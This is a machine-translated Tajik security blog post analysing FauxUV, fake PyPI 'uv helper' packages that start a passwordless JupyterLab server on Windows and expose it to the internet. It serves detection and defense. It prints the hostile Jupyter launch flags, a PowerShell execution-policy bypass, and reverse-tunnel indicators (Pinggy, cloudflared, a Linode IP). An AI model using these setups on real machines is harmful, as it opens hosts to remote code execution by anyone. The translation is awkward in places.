FauxUV: Бастаҳои қалбакии PyPI uv Jupyter-ро ба веб мекушоянд

FauxUV: ёварони қалбакии PyPI uv, ки сервери тасдиқнашудаи Jupyter-ро ба интернет мекушоянд

ХИБ; DR

Як кластери бастаҳои PyPI номи онро қарз гирифтанд uv, менеҷери бастаҳои Python, ки дар асоси Rust сохта шудааст, зуд ва хеле маъмул аст, ки ҳамчун ёварони UV муаррифӣ мекунад. Онҳо қариб ҳеҷ гуна функсияи воқеиро пешниҳод намекунанд. Ба ҷои ин, онҳо як боркунии Windows мебошанд, ки истодагарӣ мекунад Сервери JupyterLab бо аутентификатсия хомӯш карда шудааст ва дар версияҳои баъдӣ онро тавассути нақби баръакс ба интернети оммавӣ нашр мекунад.

Ин аст тамоми қисса дар як сатр: номи абзори боэътимод ҳамчун васваса ва JupyterLab ҳамчун муҳаррики иҷрои рамзи дурдаст. Сервери Jupyter ҳар рамзеро, ки шумо ворид мекунед, ба сервери "not" иҷро мекунадebook ҳуҷайра; яке аз он ки бо токени холӣ оғоз мешавад ва ба ҳар як интерфейси шабака пайваст аст, як тарҷумони кушода аст, ки ҳар касе, ки метавонад ба порт бирасад, метавонад онро идора кунад.

Мо кластерро чунин пайгирӣ мекунем FauxUVДу бастаи баррасишуда инҳоянд moon-uv (0.0.1-0.0.16) ва my-magic-uv-helper (0.0.1), аз ҷониби ҳамон оператор нашр шудааст ва дар вақти таҳлил дар PyPI мустақиман пахш мешавад.

ЭкосистемаPyPI
бастаҳоиmoon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1)
Платформаи мақсаднокWindows
Рафтори асосӣСервери тасдиқнашудаи JupyterLab, ки тавассути нақби баръакс ба интернет нашр шудааст
Воситаҳои қонунӣ сӯиистифода шудаандuv, JupyterLab, cloudflared, Pinggy

Ҷозиба: номе, ки шумо аллакай ба он эътимод доред

uv яке аз абзорҳои аз ҳама бештар насбшудаи Python дар ду соли охир аст, бинобар ин "ёрдамчӣ барои uv"бастаест, ки таҳиягар бе ягон дудилагӣ насб мекунад. FauxUV эътибори худро пурра ба ин ном сарф мекунад. Бастаҳо онро мепӯшонанд ҳақиқӣ uv насбкунанда аз Astral — URL-ҳо дар нуқтаи боркунӣ дар хостҳои воқеӣ ва бонуфуз — аз ин рӯ, як нигоҳи кӯтоҳ танҳо истинодҳои боэътимодро мебинад. Ҳеҷ яке аз бастаҳо дар асл илова намекунанд uv функсия; ном тамоми ниқоб аст.

JupyterLab ҳамчун муҳаррики RCE

Қисми марказии боркунӣ як оғозкунандаест, ки JupyterLab-ро бо тоза кардани ҳар як девори муҳофизатӣ оғоз мекунад:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

Ҳар як парчам як муҳофизатро аз байн мебарад ва скрипти фиристодашуда ҳатто онҳоро (бо забони аслии чинӣ) шарҳ медиҳад: токени холӣ "Санҷиши парол ва токенро ғайрифаъол мекунад - ҳар кас метавонад пайваст шавад." лабораторияи юпитер як IDE-и қонунии илми додаҳо аст, аммо неebook ҳуҷайра рамзи ихтиёриро мувофиқи тарҳ иҷро мекунад. Ба ин тарз танзим карда шудааст ва ба он пайваст карда шудааст 0.0.0.0, он аз IDE будан бозмедорад ва ба як пӯсти дурдасти тасдиқнашуда дар хост табдил меёбад - ягон файли дуӣ барои нармафзори зараровари фармоишӣ лозим нест, танҳо як абзори асосӣ ба самти нодуруст ишора кардааст.

Ду қисми дастгирикунанда онро дастрас ва такроршаванда мегардонанд:

  • Триггери насби хомӯш. Версияҳои аввал PowerShell-ро бо ... кор мекунанд. -Убур аз сиёсати иҷроия рост аз setup.py on pip насб кунед, дар замина бо хатогиҳо пахш карда шудааст, то Фишка муқаррарӣ ба назар мерасад. Нусхаҳои баъдӣ ҳамон ибтидоиро ба пип-ув асбоби сатри фармон — ва иҷроиши худкори вақти насбро пурра қатъ кунед.
  • Як нақби баръакси ҷамъиятӣ. Сервер дар 0.0.0.0 ҳанӯз ҳам танҳо аз ҷониби хостҳое, ки метавонанд ба мошин муроҷиат кунанд, дастрас аст. Модули бастабандишуда [Pinggy]()-ро мекушояд.https://pinggy.io/) Нақби баръакси SSH, ки порти маҳаллии Jupyter-ро ба суроғаи умумӣ равона мекунад ва ин маҳдудиятро аз байн мебарад. Скрипти фиристодашуда инчунин роҳи алтернативиро бо истифода аз Cloudflare дорад — шарҳ дода шудааст. абрнокшуда ва netsh port-proxy ба IP-и Linode, ки ҳамон як ҳадафро тавассути инфрасохтори гуногун сабт мекунад.

Якҷоя кунед: бастаро насб кунед ва хости Windows JupyterLab-ро бе парол иҷро мекунад ва онро дар интернети кушода нашр мекунад.

Чӣ гуна FauxUV таҳаввул ёфт

Версияҳои FauxUV пайдарпай зуд фиристода шуданд ва нуқтаи триггери боркунӣ аз болои онҳо ҳаракат кард - ёдраскуние, ки як версияи қайдшуда кам достони тамоми хатти бастаро нақл мекунад.

Давра версияҳои Триггер Он чизе ки илова мекунад
Қалмоқи насбкунӣ moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 setup.py дар насби пип насби UV + пешпардохти PATH
CLI-вақти иҷро moon-uv 0.0.5-0.0.13 pip-uv фармоиш оғози бепарол-JupyterLab
нақби moon-uv 0.0.14-0.0.16 pip-uv фармоиш як нақби баръакси фаъоли Пингги

Қобили зикр аст, ки кори худкори система ҳангоми насбкунӣ чунин буд. хориҷ карда шуд дар версияҳои баъдӣ ва қобилиятноктар — аз ин рӯ, сканер танҳо дар давраи ҳаёт фаъол аст hooks нашрҳои навтарро ҳамчун баҳогузорӣ мекунад Камтар хатарнок, маҳз баръакс.

Нишондиҳандаҳои созиш

Бо хондани манбаи баста тасдиқ карда шуд; нуқтаҳои ниҳоӣ қайд карда шудаанд шарҳ дар файлҳо мавҷуданд, аммо аз ҷониби версияи таҳлилшуда иҷро карда намешаванд. Нишондиҳандаҳои шабака вайрон карда шудаанд.

Намуди нишондиҳандаи
Фармони насб powershell -ExecutionPolicy Bypass Гирифтани насбкунандаи аслии UV, дар вақти насби pip
Парчамҳои JupyterLab --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Нақби баръакс (фаъол) free[.]pinggy[.]io:443 интиқоли маҳаллӣ 127.0.0.1:8888
Мизбони нақб (шарҳ дода шудааст) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (шарҳ дода шудааст) 45[.]79[.]134[.]161 (Линоде) тавассути netsh port-proxy
Persistence пешпардохт мекунад %USERPROFILE%\.local\bin ба корбар PATH

Сигналҳои рафторӣ, ки ба диққат додан арзандаанд, новобаста аз ин сатрҳои дақиқ: pip насб кунед ки пайдо мешавад Powershell -ExecutionPolicy-ро аз байн бурдан; ҳар гуна Юпитер якҷоя кардани партоб токен = ”” бо –ip=0.0.0.0ва SSH-и содиротӣ ба *.pinggy.io аз таҳиягар ё мошини CI.

Рафтор ва пайдоиши мушоҳидашуда

Ин ду баста муаллиф ва усулро муштарак доранд: номи абзори боэътимод, танзими танҳо барои Windows, иҷрои замина бо хатогиҳо ва такя ба абзорҳои боэътимод, то ки бо як назари зуд танҳо URL-ҳои боэътимодро бубинед. Манбаъ шарҳҳоеро бо забони чинӣ дар бар мегирад, ки парчамҳои марбут ба амниятро ба таври возеҳ тавсиф мекунанд; мо онҳоро ҳамчун изҳороти мушоҳидашаванда дар файл гузориш медиҳем, на ҳамчун иддао дар бораи ангезаҳо. иҷозати_манбаъ арзиш ва а ҳамкор.бат filename ҷараёнҳои кории ғайрирасмии "share runtime local my run"-ро, ки барои Google Colab паҳн мешаванд, такрор мекунад. Новобаста аз пайдоиш, натиҷаи бастабандишуда яксон аст.

Таъсир ва роҳнамоӣ барои ҳимоятгарон

Кӣ ба FauxUV дучор мешавад? Таҳиягарони Windows ва иҷрокунандагони CI, ки pip насб кунед яке аз ин бастаҳо. JupyterLab-и бепарол дар 0.0.0.0 иҷрои дурдасти код барои ҳар касе, ки метавонад ба порт бирасад; нақб маҳдудияти "кӣ метавонад ба он бирасад"-ро аз байн мебарад. Сервер ҳамчун корбари насбкунанда кор мекунад ва файлҳо, токенҳо ва эътимодномаҳои абрии он корбарро мерос мегирад.

Чаро аз даст додани он осон аст. Ҳар як сатри шабака ба як мизбони бонуфуз - Astral, JupyterLab, ишора мекунад. абрнокшуда, Пингги, Колаб. Барои хэш кардани нармафзори дуӣ ва барои рамзкушоӣ ягон blob-и норавшан вуҷуд надорад. Сканкунии обрӯ ва имзо дар асоси ин масъала камбаҳост, аз ин рӯ саволи рафторӣ — Насб кардани ин баста мошинро чӣ кор мекунад — он касест, ки онро мегирад.

Роҳнамо:

  • Ҳар гуна вақти насбро табобат кунед Powershell -ExecutionPolicy-ро аз байн бурдан ҳамчун сигнали шикастани сохтмон, новобаста аз URL-е, ки он мегирад.
  • Огоҳӣ фаъол аст Юпитер бо нишони холӣ ба кор андохта шуд ва –ip=0.0.0.0; ин комбинатсия ҳеҷ гоҳ набояд дар истгоҳи корӣ ё иҷрокунанда пайдо шавад.
  • Мониторинги провайдерҳои SSH-и содиротӣ ба нақб (*.pinggy.io, *.trycloudflare.com) аз муҳитҳои таҳиягар ва CI.
  • Зеркашӣ кунед uv аз [манбаи расмии он](https://docs.astral.sh/uv/) ва ба бастаҳои "ёрирасон"-и тарафи сеюм, ки асбоберо, ки насб карданаш аллакай ночиз аст, мепӯшонанд, шубҳа дошта бошед.
  • Вобастагиҳоро ҳангоми навсозӣ пинҳон кунед ва аз нав дида бароед — хати баста метавонад имконоти навро аз версия ба версия афзоиш диҳад.
асбобҳои sca-tools-нармафзор-таҳлили таркиб
Хатарҳои нармафзори худро афзалият диҳед, ислоҳ кунед ва бехатар созед
Ҳисоби ройгони худро дастрас кунед.
Корти кредитӣ лозим нест.

Таҳия ва интиқоли нармафзори худро таъмин кунед

бо маҷмӯи маҳсулоти Xygeni